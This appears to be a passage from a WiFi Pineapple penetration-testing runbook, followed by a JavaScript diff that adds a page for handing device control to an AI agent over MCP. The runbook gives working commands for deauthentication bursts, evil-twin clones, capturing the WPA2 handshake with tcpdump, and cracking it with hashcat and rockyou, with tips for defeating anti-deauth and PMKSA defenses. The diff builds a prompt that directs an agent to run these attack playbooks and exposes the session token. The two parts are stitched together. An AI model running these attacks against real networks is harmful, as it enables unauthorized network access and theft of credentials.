| `iw dev <mon> set channel N` | Fails "Resource busy" when the phy is held by the AP interface (karma / evil twin). |
| `iw dev wlan1mon info` | Read-only, safe — shows the channel the AP interface holds (e.g. `channel 36 (5180 MHz)`). |
Monitors are effectively pinned to the channel their phy's AP interface holds (2.4 GHz → ch1, 5 GHz → ch36 on the lab unit). `_pineap INTERFACE LIST` may label an interface "hop" even when it is physically pinned — trust `iw dev`, not the label.
## 4. Handshake capture — where built-in capture fails and the workaround
**PineAP's `PCAP START` export is management/control frames ONLY** — zero data, zero EAPOL. Never rely on it for handshakes.
The `handshake`/`hostap_handshake` tables and `/root/loot/handshakes` populate only for the Pineapple's OWN evil-twin AP (see §6). For the real AP, use a raw monitor capture:
```sh
# single session: background tcpdump, run deauth rounds, listen, kill.
tcpdump -i wlan1mon -s 3000 -w /root/loot/pcap/mon_$(date +%s).cap & TDPID=$!
... deauth bursts on the same channel ...
sleep <listen window, e.g. 60-90s>
kill $TDPID
```
- Pick the monitor pinned to the target channel (`iw dev`). A monitor sees remote radios (AP and clients) fully; on 5 GHz it will NOT see the Pineapple's own TX (see pineapple-control), so an evil-twin M1/M3 won't appear — rely on `hostap_handshake` + loot for own-AP captures.
- `nohup ... &` from a non-interactive ssh drops the process (file never appears) — run the whole round in ONE ssh session and background-kill within it.
- Pull with scp; analyze locally with tshark (brew: `wireshark`, `hcxtools`).
Analysis one-liners:
```sh
tshark -r cap -T fields -e wlan.fc.type -e wlan.fc.subtype | sort | uniq -c # frame mix
tshark -r cap -Y eapol -c 10 # 4-way keys
tshark -r cap -Y "wlan.fc.type==0 && wlan.fc.subtype==12" -T fields -e wlan.sa -e wlan.da # deauths (injected vs client-mirrored)
tshark -r cap -Y "wlan.fc.subtype==8" -c 1 -V | grep -A30 "RSN Information" # WPA2/PSK + PMF bits
```
- RSN decode: AKM 00:0f:ac = PSK (WPA2, auditable). SAE only = WPA3 (no 4-way). "MFPC/MFPR" set → PMF-requiring clients will skip a non-PMF evil twin.
- WPS: no "Config Methods" element (0x0043) or no AP PIN in the WPS IE → WPS disabled; the `-m 2560` route is dead.
## 5. Expected failure mode: PMKSA fast reauth (plan for it)
On venues with steering/anti-rogue controllers, clients return within ~100 ms via **PMKSA-cached fast reauth (2-frame, no EAPOL)**. No deauth volume forces a fresh 4-way — the cached PMK lives on the client.
**Verified tell-tales on the lab venue:**
- Steady stream of targeted deauths from the AP BSSID at individual client MACs, plus deauths aimed at the attacker.
- The target client **mirrors every injected deauth**: same-frame-count deauth/disassoc streams back with SA=client MAC (and broadcast-SA variants) toward the AP BSSID within ~2 ms — an active anti-deauth unit.
- Client reassociates to the REAL AP immediately (auth/reassoc burst) with **zero EAPOL**.
A fresh 4-way occurs only on:
1. A **brand-new client's first association** (new person/device arriving), or
2. A **GTK rekey** (AP-side, typically hourly).
Mitigations / planning:
- Multi-channel ops: an AP may serve the SSID on several channels/bands — monitor and deauth each; a steered client misses a single-channel window.
- **Evil-twin luring** converts a client only if the real AP is weak/unavailable. Verified outcomes: a 2.4 GHz WPA2 clone captured nothing (5 GHz client never fell to 2.4); a same-band 5 GHz clone (ch36) also captured nothing — the client stayed locked to the strong real AP via PMKSA and never probed the clone. Build a same-band clone persistently via `/etc/config/wireless` (pineapple-control); any handshake the clone conducts lands in `hostap_handshake`/`/root/loot/handshakes`. A wrong-PSK clone still yields a crackable M1/M2 (client computes M2 with its own real PMK); set `disable_pmksa_caching=1` in hostapd so joining clients do a full 4-way.
- When no 4-way is achievable in the timebox, **stop and document (§7)**. Do not keep blasting — repeated deauths trigger client-side reconnect throttling (iOS/Android anti-deauth) and make a fresh 4-way LESS likely.
## 6. Handoff to hashcat (once an EAPOL 4-way is captured)
```sh
hcxpcapngtool -o IBC.hc22000 capture.pcap[ng] # brew hcxtools
hashcat -m 22000 IBC.hc22000 -a 0 /usr/share/wordlists/rockyou.txt
```
WPA2-PSK only. If WPS was open (rare), `-m 2560` on the WPS nonces instead.
## 7. Report language when no handshake is captured
> Deauthentication was successful against <targets> (N frames, verified on wire). Handshake acquisition was not achievable within the engagement window: the venue's AP runs an active steering/anti-rogue controller (continuous targeted client deauths, including deauths of the attacker radio's MAC) and clients re-authenticate via PMKSA fast reauthentication without EAPOL key exchange. A new client association or the venue's periodic GTK rekey (hourly) is required to produce a capturable WPA2 four-way handshake for hashcat auditing.
If an evil-twin attempt was made, add: the clone (SSID/band) was live and verified, but no client engaged it while the real AP remained reachable.
## 8. Teardown
```sh
killall tcpdump # pkill is NOT on this BusyBox
timeout 15 _pineap RECON NEW name=pager hop=fast # restore default recon
```
Leave SSID-pool additions (harmless) or remove with `PINEAPPLE_SSID_POOL_DELETE`. Keep `/root/loot/**` artifacts as evidence; scp them off before leaving the site. If you disabled the SSID pool to fix a pineapd crash, say so (it stays disabled).
@@ -34,6 +34,7 @@ const App = (() => {
{ key: 'recon', label: 'Recon', hash: '#/recon', icon: 'recon' },
{ key: 'logging', label: 'Logging', hash: '#/logging', icon: 'logging' },
{ key: 'modules', label: 'Payloads', hash: '#/modules', icon: 'modules' },
{ key: 'harness', label: 'Harness', hash: '#/harness', icon: 'extension' },
{ key: 'settings', label: 'Settings', hash: '#/settings', icon: 'settings' }
];
const railDividers = new Set(['logging']);
@@ -418,7 +419,8 @@ const App = (() => {
'#/settings/wifi': 'settings_wifi',
'#/settings/led': 'settings_led',
'#/settings/advanced': 'settings_advanced',
'#/settings/help': 'settings_help'
'#/settings/help': 'settings_help',
'#/harness': 'harness'
};
return { init, route, toast, showLogin, checkInternet, wsUrl: (p) => WS_BASE + p,
@@ -1388,6 +1388,90 @@ function attackLauncher(kind, opts) {
};
}
views.harness = (root) => {
root.appendChild(h('h1', { class: 'page-title', text: 'Harness' }));
const box = h('div', {});
root.appendChild(box);
const info = h('div', { class: 'pineap-title-card' });
info.appendChild(h('div', { class: 'pineap-card-title' }, 'Local Harness (MCP)'));
const infoBody = h('div', { style: 'font-size:13px;line-height:1.9' });
info.appendChild(infoBody);
box.appendChild(info);
const tok = h('code', { style: 'font-size:12px', text: '…' });
const endpoint = h('code', { style: 'font-size:12px', text: location.origin + '/mcp' });
infoBody.appendChild(h('div', { class: 'row' }, h('div', { style: 'min-width:130px', text: 'Endpoint' }), endpoint));
infoBody.appendChild(h('div', { class: 'row' }, h('div', { style: 'min-width:130px', text: 'Bearer token' }), tok));
infoBody.appendChild(h('div', { class: 'muted', style: 'font-size:12px', text: 'Agents call POST /mcp with JSON-RPC 2.0 (MCP Streamable HTTP). The token is the current session token.' }));
const snippet = h('pre', { style: 'font-size:12px;overflow:auto;background:rgba(127,127,127,.12);padding:10px;border-radius:4px;white-space:pre-wrap' });
const capBox = h('div', { class: 'pineap-title-card' });
capBox.appendChild(h('div', { class: 'pineap-card-title' }, 'Capabilities'));
const capBody = h('div', { style: 'font-size:13px' });
capBox.appendChild(capBody);
box.appendChild(capBox);
const promptBox = h('div', { class: 'pineap-title-card' });
promptBox.appendChild(h('div', { class: 'pineap-card-title' }, 'Prompt for pi.dev'));
const promptArea = h('textarea', { rows: 14, style: 'width:100%;font-family:monospace;font-size:12px;box-sizing:border-box' });
promptBox.appendChild(promptArea);
promptBox.appendChild(h('div', { class: 'row', style: 'margin-top:8px' },
h('div', {}, btn('Copy Prompt', () => {
promptArea.select();
document.execCommand('copy');
App.toast('Copied');
})),
h('div', {}, btn('Copy Token', () => {
navigator.clipboard.writeText(tok.textContent).then(() => App.toast('Token copied'))
.catch(() => App.toast('Copy failed', 'error'));
}))));
box.appendChild(promptBox);
function buildPrompt(token) {
return 'You are driving a WiFi Pineapple Pager (FENRIS firmware) through its local MCP harness.\n' +
'Endpoint: ' + location.origin + '/mcp (Streamable HTTP, POST JSON-RPC 2.0).\n' +
'Authorization: Bearer ' + token + '\n\n' +
'Before acting, read these resources (MCP resources/read) — they are the field-verified operating manual:\n' +
' skills://pineapple-control (device access, radios, UCI truth, pineapd crash-loop fix)\n' +
' skills://wifi-deauth (deauth + handshake methodology, PMKSA failure modes)\n' +
' skills://aircrack-suite (hashcat handoff)\n\n' +
'Rules:\n' +
'1. The DEVICE is the source of truth: read device.state / UCI before and after every change; never assume.\n' +
'2. Only attack the network the operator explicitly authorized (currently <authorized-test-ssid>). No deauth blasts — short targeted bursts.\n' +
'3. After attack.deploy, verify with attack.status (live flag) before proceeding.\n' +
'4. Use the playbook prompts (prompts/get): evil-wpa-attack, evil-enterprise-attack, recon-survey.\n' +
'5. Report verified outcomes only; say what you changed on the device.';
}
function load() {
PagerAPI.get('/api/harness/capabilities').then((r) => {
const d = r.data || {};
capBody.innerHTML = '';
const tools = d.tools || [];
const prompts = d.prompts || [];
capBody.appendChild(h('div', { class: 'muted', style: 'font-size:12px',
text: tools.length + ' tools, ' + prompts.length + ' playbooks, ' +
((d.resources || []).length) + ' resources' }));
const list = h('ul', { style: 'font-size:12px;padding-left:18px' });
tools.forEach((t) => list.appendChild(h('li', { text: t.name + ' — ' + t.description })));
capBody.appendChild(list);
}).catch(() => {});
PagerAPI.get('/api/harness/token').then((r) => {
const t = (r.data || {}).token || '';
tok.textContent = t ? t.slice(0, 12) + '…' : '(none)';
snippet.textContent = 'curl -s -X POST ' + location.origin + '/mcp \\\n' +
' -H "Content-Type: application/json" \\\n' +
' -H "Authorization: Bearer ' + t + '" \\\n' +
' -d \'{"jsonrpc":"2.0","id":1,"method":"tools/list"}\'';
promptArea.value = buildPrompt(t);
infoBody.appendChild(snippet);
}).catch(() => {});
}
load();
return { destroy: () => {} };
};
function deauthPanel() {
const wrap = h('div', { class: 'pineap-title-card' });
wrap.appendChild(h('div', { class: 'pineap-card-title' }, 'Deauth Targeting'));